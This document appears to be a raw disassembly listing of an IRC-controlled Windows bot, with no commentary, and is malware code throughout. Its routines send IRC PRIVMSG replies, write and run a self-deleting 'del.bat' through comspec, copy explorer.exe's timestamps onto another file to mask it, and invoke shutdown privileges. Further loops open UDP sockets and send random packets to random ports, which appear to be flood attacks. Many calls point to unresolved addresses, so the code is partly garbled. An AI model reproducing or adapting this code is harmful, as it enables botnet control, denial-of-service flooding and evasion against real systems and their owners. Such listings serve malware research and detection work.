		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_419101
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40AA23

loc_40A9D3:				; CODE XREF: sub_40A96F+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_40A951
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_40A9F4
		mov	eax, ecx

loc_40A9F4:				; CODE XREF: sub_40A96F+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_40AA27
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_419101
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_40A9D3

loc_40AA23:				; CODE XREF: sub_40A96F+62j
		dec	edi
		dec	esi
		jmp	short loc_40A9AD
; ---------------------------------------------------------------------------

loc_40AA27:				; CODE XREF: sub_40A96F+8Aj
		xor	eax, eax
		jmp	short loc_40AA30
; ---------------------------------------------------------------------------

loc_40AA2B:				; CODE XREF: sub_40A96F+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_40AA30:				; CODE XREF: sub_40A96F+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A96F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA35	proc near		; CODE XREF: sub_40EE72+3C8Cp
					; sub_40EE72+4AF5p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 265031Fh
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 2730000h
		nop
		lea	eax, [ebp+var_100]

loc_40AA6E:				; CODE XREF: sub_40AA35+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_40AA7A
		cmp	cl, 9
		jnz	short loc_40AA7D

loc_40AA7A:				; CODE XREF: sub_40AA35+3Ej
		inc	eax
		jmp	short loc_40AA6E
; ---------------------------------------------------------------------------

loc_40AA7D:				; CODE XREF: sub_40AA35+43j
					; sub_40AA35+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_40AA97
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_40AA7D
		cmp	cl, 21h
		jl	short loc_40AA7D

loc_40AA97:				; CODE XREF: sub_40AA35+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_43AEC8
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA35	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AABF	proc near		; CODE XREF: sub_40EE72+5732p
		push	esi
		push	0
		call	dword_43AD68
		test	eax, eax
		jz	short loc_40AAF6
		push	1
		call	dword_43AD88
		mov	esi, eax
		test	esi, esi
		jz	short loc_40AAF6
		push	edi
		push	esi
		nop
		call	near ptr 2740628h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 2740000h
		call	dword_43ADEC
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40AAF6:				; CODE XREF: sub_40AABF+Bj
					; sub_40AABF+19j
		xor	eax, eax
		pop	esi
		retn
sub_40AABF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAFA	proc near		; CODE XREF: sub_40EE72+48BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_43ADA4
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_40AB76
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 2750000h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 25B0000h
		nop
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_43ADF4
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_43ADF4
		push	ebx
		nop
		call	near ptr 2740CB0h
		push	edi
		call	near ptr 26319EBh
		nop
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_40AB78
; ---------------------------------------------------------------------------

loc_40AB76:				; CODE XREF: sub_40AAFA+16j
		xor	eax, eax

loc_40AB78:				; CODE XREF: sub_40AAFA+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40AAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB7C	proc near		; CODE XREF: ___:0040E8BBp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_43AE54
		test	eax, eax
		jz	short loc_40AC1B
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_424084
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2760000h
		push	ebx
		mov	ebx, dword_424078
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 275058Bh
		push	esi
		call	ebx

loc_40AC1B:				; CODE XREF: sub_40AB7C+2Aj
					; sub_40AB7C+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AB7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC20	proc near		; CODE XREF: sub_40EE72+13C4p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_43ACE0
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_40AC20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC42	proc near		; CODE XREF: sub_40CAF1+472p
					; sub_40EE72+59D4p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42F5C0, esi
		push	edi
		jz	short loc_40AC66
		cmp	dword_43AE68, esi
		jnz	short loc_40AC66
		push	esi
		call	sub_40C1AE
		pop	ecx

loc_40AC66:				; CODE XREF: sub_40AC42+13j
					; sub_40AC42+1Bj
		call	sub_416F25
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 277115Dh
		nop
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2650000h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_40ADC6
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 2640000h
		nop
		push	edi
		nop
		call	near ptr 26319EBh
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_436EDC
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	near ptr 2720B21h
		nop
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 2690000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40AD6E
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 277107Bh

loc_40AD6E:				; CODE XREF: sub_40AC42+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2770000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2760575h

loc_40ADC6:				; CODE XREF: sub_40AC42+72j
		pop	edi
		pop	esi
		leave
		retn
sub_40AC42	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADCA	proc near		; CODE XREF: sub_4013EC+7p
					; sub_401992+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40ADF2
		push	[esp+arg_0]
		call	dword_43AE1C
		test	eax, eax
		jnz	short loc_40ADEB
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40ADEB:				; CODE XREF: sub_40ADCA+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40ADF2:				; CODE XREF: sub_40ADCA+Dj
		retn
sub_40ADCA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADF3	proc near		; CODE XREF: sub_40EB92+D6p
		mov	ecx, dword_43ACC0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AE01
		call	ecx

locret_40AE01:				; CODE XREF: sub_40ADF3+Aj
		retn
sub_40ADF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE02	proc near		; CODE XREF: sub_40EE72:loc_414556p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_43AE14
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40AEC8
		sub	ecx, 32h
		jz	loc_40AEC1
		sub	ecx, 48h
		jz	short loc_40AE62
		sub	ecx, 6Eh
		jz	short loc_40AE5B

loc_40AE44:				; CODE XREF: sub_40AE02+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DA5C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_40AEA2
; ---------------------------------------------------------------------------

loc_40AE5B:				; CODE XREF: sub_40AE02+40j
		push	offset unk_42DA28
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------

loc_40AE62:				; CODE XREF: sub_40AE02+3Bj
		push	[ebp+var_8]
		call	sub_417B89
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_417330
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AE8F
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_43AE14
		cmp	eax, edi
		jz	short loc_40AEC8
		jmp	short loc_40AE44
; ---------------------------------------------------------------------------

loc_40AE8F:				; CODE XREF: sub_40AE02+79j
		push	offset unk_42D9E8

loc_40AE94:				; CODE XREF: sub_40AE02+5Ej
					; sub_40AE02+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40AEA2:				; CODE XREF: sub_40AE02+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_40AEB2:				; CODE XREF: sub_40AE02+C8j
					; sub_40AE02+DCj
		push	esi
		call	sub_417C3B
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40AEC1:				; CODE XREF: sub_40AE02+32j
		push	offset unk_42D9A8
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------

loc_40AEC8:				; CODE XREF: sub_40AE02+29j
					; sub_40AE02+89j
		cmp	[esi], edi
		jbe	short loc_40AEB2
		lea	ebx, [esi+4]

loc_40AECF:				; CODE XREF: sub_40AE02+DAj
		push	ebx
		call	dword_43AE10
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AECF
		jmp	short loc_40AEB2
sub_40AE02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEE0	proc near		; CODE XREF: sub_40144A+243p
					; sub_401D82+268p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_43AD3C
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43B0CC
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4172B0
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AEE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF39	proc near		; CODE XREF: sub_4010B5+24Cp
					; sub_4010B5+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AF62
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40AF55:				; CODE XREF: sub_40AF39+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AF55
		pop	edi
		jmp	short loc_40AF66
; ---------------------------------------------------------------------------

loc_40AF62:				; CODE XREF: sub_40AF39+Aj
		mov	edx, [esp+4+arg_0]

loc_40AF66:				; CODE XREF: sub_40AF39+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AF70
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40AF70:				; CODE XREF: sub_40AF39+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AF39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF86	proc near		; DATA XREF: sub_40EE72+2E51o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_43AD24
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43ADD8
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40AFE1
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43AE1C
		cmp	eax, ebx
		jz	short loc_40AFE7

loc_40AFE1:				; CODE XREF: sub_40AF86+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40B044

loc_40AFE7:				; CODE XREF: sub_40AF86+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DAD8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B027
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h

loc_40B027:				; CODE XREF: sub_40AF86+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26102D3h

loc_40B044:				; CODE XREF: sub_40AF86+5Fj
		cmp	eax, ebx
		jz	short loc_40B054
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40B057
; ---------------------------------------------------------------------------

loc_40B054:				; CODE XREF: sub_40AF86+C0j
		mov	[ebp+var_4], esi

loc_40B057:				; CODE XREF: sub_40AF86+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_417330
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_40B077
		mov	[ebp+var_3C], eax

loc_40B077:				; CODE XREF: sub_40AF86+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_40B07F
		mov	[ebp+var_38], edi

loc_40B07F:				; CODE XREF: sub_40AF86+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_40B0AC

loc_40B086:				; CODE XREF: sub_40AF86+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_43ACBC
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_40B086

loc_40B0AC:				; CODE XREF: sub_40AF86+FEj
		push	[ebp+arg_0]
		call	dword_43AE50
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DA9C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B0F5
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h

loc_40B0F5:				; CODE XREF: sub_40AF86+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D3h
sub_40AF86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B112	proc near		; DATA XREF: sub_40EE72+2FA9o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	near ptr 2610763h
		nop
		push	eax
		call	sub_417302
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_43AE18
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40B1F7
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_43AE1C
		cmp	eax, edi
		jnz	short loc_40B1F0
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB4C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B1D3
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h

loc_40B1D3:				; CODE XREF: sub_40B112+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D3h

loc_40B1F0:				; CODE XREF: sub_40B112+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40B1FA
; ---------------------------------------------------------------------------

loc_40B1F7:				; CODE XREF: sub_40B112+6Ej
		lea	eax, [ebp+arg_0]

loc_40B1FA:				; CODE XREF: sub_40B112+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40B215
		call	sub_41730C
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40B218
; ---------------------------------------------------------------------------

loc_40B215:				; CODE XREF: sub_40B112+F0j
		push	[ebp+var_24]

loc_40B218:				; CODE XREF: sub_40B112+101j
		call	dword_43AD98
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40B22A
		mov	[ebp+var_24], esi

loc_40B22A:				; CODE XREF: sub_40B112+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40B237
		mov	[ebp+var_24], eax

loc_40B237:				; CODE XREF: sub_40B112+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40B24B
		mov	[ebp+var_28], esi

loc_40B24B:				; CODE XREF: sub_40B112+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40B26C

loc_40B252:				; CODE XREF: sub_40B112+158j
		call	sub_41730C
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40B252

loc_40B26C:				; CODE XREF: sub_40B112+13Ej
					; sub_40B112+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_40B2CB
		push	0Bh
		pop	esi

loc_40B279:				; CODE XREF: sub_40B112+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_43ADFC
		push	[ebp+var_28]
		nop
		call	near ptr 2610F41h
		dec	esi
		jnz	short loc_40B279
		cmp	[ebp+var_24], edi
		jnz	short loc_40B26C
		call	sub_41730C
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_43AD98
		mov	[ebp+var_E], ax
		jmp	short loc_40B26C
; ---------------------------------------------------------------------------

loc_40B2CB:				; CODE XREF: sub_40B112+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB10
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B30B
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h

loc_40B30B:				; CODE XREF: sub_40B112+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 26102D3h
		nop
sub_40B112	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B328	proc near		; CODE XREF: sub_40B358+2Ap
					; sub_40B390+7Ep ...
		mov	eax, dword_43B0E4
		push	esi
		mov	esi, dword_424078
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B33C
		push	eax
		call	esi

loc_40B33C:				; CODE XREF: sub_40B328+Fj
		mov	eax, dword_43B0EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B349
		push	eax
		call	esi

loc_40B349:				; CODE XREF: sub_40B328+1Cj
		mov	eax, dword_43B0E0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B356
		push	eax
		call	esi

loc_40B356:				; CODE XREF: sub_40B328+29j
		pop	esi
		retn
sub_40B328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B358	proc near		; CODE XREF: sub_40C351+14Ap
					; sub_40EE72+4881p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_43B0E8
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	short loc_40B38B
		call	sub_40B328
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40B38B:				; CODE XREF: sub_40B358+28j
		push	1
		pop	eax
		leave
		retn
sub_40B358	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B390	proc near		; CODE XREF: sub_40B417+D3p
					; sub_40B417+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_436EDC
		push	[ebp+arg_4]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B3D3
		push	7D0h
		nop
		call	near ptr 2610F41h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40B3EA
; ---------------------------------------------------------------------------

loc_40B3D3:				; CODE XREF: sub_40B390+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_40B3EA:				; CODE XREF: sub_40B390+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
